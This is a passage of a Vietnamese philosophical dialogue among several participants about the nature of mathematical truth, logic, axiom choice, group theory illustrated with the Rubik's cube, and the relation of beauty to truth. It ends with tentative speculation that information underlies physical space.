lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen 